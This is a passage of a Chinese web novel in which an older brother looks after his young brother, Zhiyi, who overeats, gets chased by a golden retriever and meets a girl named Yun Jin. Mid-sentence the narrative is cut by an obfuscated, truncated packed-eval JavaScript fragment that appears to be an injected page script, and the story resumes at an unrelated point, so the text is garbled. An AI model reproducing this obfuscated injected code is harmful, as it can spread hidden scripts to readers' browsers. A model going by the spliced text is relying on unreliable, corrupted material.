饭后,许栀意捂着圆鼓鼓的肚皮,眼睛心虚乱瞟,就是不敢看许砚修。 “栀栀。”许砚修沉冷的声音落入许栀意耳中。 许栀意双臂下垂,手指揉搓着棉麻裙子的布料,两眼作无辜状,一言不发盯着许砚修。 许砚修瞬间没了脾气,略微无奈蹲下身,从衣服口袋里翻出一板健胃消食片,哄着许栀意吃下去。 事后,许栀意用手心遮住小嘴,偷笑几声,自以为能瞒住许砚修,却不想全被许砚修看光了去。 “哥哥,我下次,不吃多。”许栀意明媚笑着发誓。 他信誓旦旦的模样没有丝毫棱角,如果不是方才亲眼目睹,许砚修差点就信了。 “那下次吃多了怎么办。”明明是问句,在许砚修嗓子里冒出来成了陈述句,疏离中又透着一丝温度。 “那就……”许栀意没想到哥哥会反问自己,“我也不知道。” 他有些聪明的拒绝回答,小孩贪食,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许栀意还不懂遇到狗不能跑,否则,就会被越追越紧。 许砚修放下袋子,没有丝毫犹豫追在许栀意身后,一旁的管家反应不及,只好捡起地上的袋子,看着少爷像一道闪电急驰在古城中。 “栀栀,别跑!”许砚修拨开行人的背影,正色厉声对小小的奔跑着的小孩喊道。 许栀意听到哥哥的声音,心脏猛跳,两眼看向前方,就快要飙出泪花,身后与金毛的距离愈来愈近,他不敢停下来。 他边跑边擦眼泪,在小腿肚的两侧错觉感知到狗狗的毛绒感,泪水流得更凶了。 许砚修两脚踏得飞快,在金毛快追上小尾巴的几秒间,大力将许栀意扯到自己身边,一把抱起惊魂未定的许栀意。 “哥哥……”许栀意酝酿的哭腔在面对许砚修时,像开了闸的洪水,发出洪亮的哭声,“我……我怕……” 许砚修气息未定,垂下头抱着许栀意,小孩哭得脸色通红,嘴里叽叽咕咕诉说自己的委屈,看着脚边歪头的大狗,又急得哭出声。 “狗……坏……坏狗……” 许砚修低眸看着许栀意涨红的脸颊,轻轻捏了捏,低声说:“狗坏,栀栀不要哭了好不好?” 大金毛垂下的大片耳朵动了动,像是精通人性般,本来露出的舌头一下子缩了回去,蓬松的大尾巴也不动了。 好似听懂了二人在说它坏一样。 “小妹妹你没事吧,对不起对不起!”大金毛的主人终于姗姗来迟,赶忙用牵引绳套住狗,不停地鞠躬道歉。 许栀意抽噎着,呼吸声一抽一抽的,双眸微眨:“没……没事。” 面前的小女孩大概比许栀意大一两岁,头发剪成男孩子的发型,身上穿蓝色扎染长裙,牵着一条大金毛,看起来英气飒爽。 “我叫云锦,它叫胖胖,真的对不起,它是只大馋狗,估计是想找你讨鲜花饼吃。”云锦再次弓下身子,连带着身旁的胖胖也一起跟着弯腰。 她直起身,按捺住不安分的大胖狗,轻声问,“你叫什么名字呀?” 许栀意止住抽泣,眼前的小女孩是第一个朝自己搭话的同龄人,他投去好奇的探究眼神,忘记了怎么说话。 许砚修专注抱许栀意,看着小尾巴呆愣渴求的目光,心念一动:“栀栀,她在和你打招呼。” 许砚修轻微按了按他的手腕,给予他勇气。 “我,我叫,许栀意。”许栀意有些害羞,他没有同许宅和哥哥以外的人交流过。 “你的名字真好听。”云锦真心夸赞道,随即继续问,“你刚来这里吗?” 许栀意看了看哥哥,点点头。 云锦笑了起来,“那你缺导游吗,我在这边生活五年了,对这一带特别熟,包您不吃亏不上当。” 在许砚修鼓励的眼神中,许栀意再次点头,这事就算应下了。 胖胖不知为何也激动起来,肥胖的身子绕着许砚修脚边转了一圈,昂头对着许栀意嚎了一嗓子“呜——汪——” 许栀意方才松弛的脸部肌肉又紧绷起来,窝进许砚修的怀里,眼圈红红的。